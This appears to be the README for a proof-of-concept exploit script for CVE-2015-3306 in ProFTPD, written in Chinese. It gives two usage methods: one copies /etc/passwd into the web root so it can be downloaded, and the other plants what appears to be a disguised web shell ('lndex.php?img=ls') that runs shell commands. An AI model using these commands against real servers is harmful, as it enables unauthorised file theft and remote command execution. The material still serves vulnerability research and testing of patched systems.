Daniel Aldana 为利用 CVE-2015-3306 编写的 PoC。漏洞由 Vadim Melihow 报告。
###方法 1:
使用方法:
python cpx_proftp.py <IP> <远程绝对路径_源文件> <远程绝对路径_目标文件>
示例:
python cpx_proftp.py 127.0.0.1 /etc/passwd /var/www/pass.txt
然后尝试访问:
http://127.0.0.1/pass.txt
###方法 2:
使用方法:
python cpx_proftp.py <IP> <远程绝对路径_网站目录>
示例:
python cpx_proftp.py 127.0.0.1 /var/www/html
然后尝试访问:
http://127.0.0.1/lndex.php?img=ls